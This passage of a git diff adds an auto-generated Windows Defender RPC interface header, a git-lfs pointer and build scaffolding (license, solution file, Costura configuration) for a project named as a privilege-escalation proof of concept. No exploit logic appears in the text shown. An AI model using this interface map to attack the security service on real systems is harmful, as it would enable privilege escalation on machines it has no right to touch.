[out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3220_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc145_ServerMpRpcDeleteAsrHistory( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc146_ServerMpGetTaskSchedulerStrings( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3280_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc147_ServerMpRpcGetAsrBlockedActionInfos( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3302_t ***arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc148_ServerMpRpcGetTPStateInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_3350_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc149_ServerMpRpcSetTPState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc150_ServerMpRpcUpdateDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc151_ServerMpRpcGetDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc152_ServerMpUpdateBreakTheGlassStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc153_ServerMpNetworkCapture( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc154_ServerMpConveyDlpBypass( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc155_ServerDlpMpCheckAccessForPrintOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ long *arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc156_ServerDlpMpConveyNewPrinterConnection( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc157_ServerMpShowDlpDetailsDialog( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc158_ServerMpRpcGetDlpEvents( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_3370_t ***arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc159_ServerMpRpcConveyUserChoiceForDlpNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc160_ServerMpRpcChangeCapability( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc161_ServerMpRpcMpThreatAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_3570_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc162_ServerMpRpcAsrSetHipsUserExclusion( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [string][unique][in] */ wchar_t *arg_7, + /* [string][unique][in] */ wchar_t *arg_8, + /* [string][unique][in] */ wchar_t *arg_9, + /* [out] */ error_status_t *arg_10); + +long Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ long *arg_5, + /* [out] */ long *arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc164_ServerMpRpcQueryConfigProtection( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc165_ServerMpRpcCheckAccessForDragDropOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc166_ServerMpRpcUpdateBrowserActiveTab( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc167_ServerMpRpcSendBrowserHeartbeat( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [in] */ long arg_4, + /* [out] */ hyper *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc168_ServerMpRpcGetThreatExecutionInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_3654_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc169_ServerMpRpcReportClipboardOwner( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc170_ServerMpRpcDlpDelegateEnforcement( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [in] */ long arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc172_ServerMpRpcSendDeviceControlToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc173_ServerMpRpcIsDeviceControlAvailable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc174_ServerMpRpcGetFCValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc175_ServerMpRpcSetDriverUnloadInProgress( + /* [in] */ handle_t IDL_handle, + /* [in] */ unsigned char arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc176_ServerMpRpcUpdateTSMode( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc177_ServerMpRpcGetTSModeInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3800_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc178_ServerMpCheckAccessForPrintOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [unique][out][in] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [unique][in] */ struct Struct_3824_t *arg_3, + /* [unique][in] */ struct Struct_3824_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ long *arg_6, + /* [out] */ long *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc180_ServerMpRpcCheckAccessForDragDropOperation2( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [unique][in] */ struct Struct_3824_t *arg_8, + /* [unique][in] */ struct Struct_3824_t *arg_9, + /* [out] */ long *arg_10, + /* [out] */ error_status_t *arg_11); + +long Proc181_ServerMpRpcDlpInitializeEnforcementMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc182_ServerMpRpcDlpGetOperationEnforcmentMode( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_126_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc185_ServerMpRpcDlpNotifyCloseDocumentFile( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc188_ServerMpRpcDlpNotifyPrePrint( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc189_ServerMpRpcDlpNotifyPostStartPrint( + /* [in] */ handle_t IDL_handle, + /* [unique][in] */ struct Struct_3824_t *arg_1, + /* [unique][in] */ struct Struct_3880_t *arg_2, + /* [unique][in] */ struct Struct_126_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc190_ServerMpGetTDTFeatureStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc191_ServerMpRpcGetDeviceControlSecurityPolicies( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc192_ServerMpRpcGetSACInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_3958_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc193_ServerMpGetTDTFeatureStatusEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4158_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc194_ServerMpRpcGetDeviceControlStatus( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_4178_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_4194_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc196_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc197_ServerMpRpcDefenderPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc198_ServerMpRpcDeviceControlPrintAccessCheck( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ long *arg_3, + /* [out] */ hyper *arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc199_ServerMpRpcDefenderPrintDataProvide( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc201_ServerMpRpcApplyTrustLabelAceForMDE( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc202_ServerMpGetNpSupportFile( + /* [in] */ handle_t IDL_handle, + /* [string][ref][out] */ wchar_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc203_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc204_ServerMpRpcConfigRefresh( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc205_ServerMpServiceLogMessage( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc206_ServerMpRpcDeviceControlValidateDataDuplicationRemoteLocationConfiguration( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][ref][out] */ wchar_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc207_ServerMpRpcDlpGetEvidenceFileUrl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [string][ref][out] */ wchar_t **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [out] */ error_status_t *arg_8); + +long Proc208_ServerMpRpcDlpCheckAccessForBuffer( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [string][ref][out] */ wchar_t **arg_7, + /* [string][ref][out] */ wchar_t **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc209_ServerMpRpcDevVolumesProtectionState( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc210_ServerMpRpcQueryDevVolumeProtectionState( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc211_ServerMpRpcDlpDispatchAccessEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4208_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc212_ServerMpRpcCheckAccessForCopyFile( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ hyper arg_4, + /* [string][in] */ wchar_t *arg_5, + /* [string][in] */ wchar_t *arg_6, + /* [string][in] */ wchar_t *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc213_ServerMpRpcAsrSetHipsUserExclusionEx( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc214_ServerMpRpcGetUpToDateInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4314_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc215_ServerMpRpcSendDlpEventDataToEngine( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_4334_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc216_ServerMpRpcAccessibilityAsyncEvent( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc217_ServerMpRpcCacheManagerIsTrusted( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc218_ServerMpRpcSCCGetState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_4530_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc219_ServerMpRpcSCCReset( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc220_ServerMpRpcImportConfigPayload( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4650_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc221_ServerMpRpcGetConfigPayloadStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4650_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc222_ServerMpRpcGetConfigValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [ref][out] */ struct Struct_4734_t **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc223_ServerMpRpcEffectiveConfigurationReport( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc224_ServerMpRpcGetDefenderStatusSummary( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc225_ServerMpRpcGetHIPSCustomRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc226_ServerMpRpcGetTrustAnchors( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_4886_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc227_ServerMpRpcDlpTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc228_ServerMpRpcGetRnBWFPFilters( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_4918_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc229_ServerMpRpcRemoveRnBWFPFilter( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc230_ServerMpRpcSenseTriggerToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc231_ServerMpRpcWddControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [in] */ long arg_3, + /* [size_is][size_is][ref][out] */ unsigned char **arg_4, + /* [out] */ long *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc232_ServerMpRpcTemporaryExclusionAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc233_ServerMpOnDemandCancelScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc234_ServerMpRpcSCCForceReset( + /* [in] */ handle_t IDL_handle, + /* [size_is][in] */ unsigned char *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc235_ServerMpRpcPublishModularConfig( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + + + +extern RPC_IF_HANDLE DefaultIfName_v2_0_c_ifspec; +extern RPC_IF_HANDLE DefaultIfName_v2_0_s_ifspec; +#endif /* __DefaultIfName_INTERFACE_DEFINED__ */ + +/* Additional Prototypes for ALL interfaces */ + +/* end of Additional Prototypes */ + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/BlueHammer/windefend_s.c b/BlueHammer/windefend_s.c new file mode 100644 index 0000000..f71e323 --- /dev/null +++ b/BlueHammer/windefend_s.c @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1b43e026f63d47df0109d3300509c7943b659e6687e3a1e26040995550b6b32a +size 1869017 diff --git a/MiniPlasma/LICENSE b/MiniPlasma/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/MiniPlasma/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln new file mode 100644 index 0000000..e387198 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781} + EndGlobalSection +EndGlobal diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config new file mode 100644 index 0000000..1ab4cba --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml new file mode 100644 index 0000000..f1dea8f --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd new file mode 100644 index 0000000..c0df09d --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd @@ -0,0 +1,186 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj 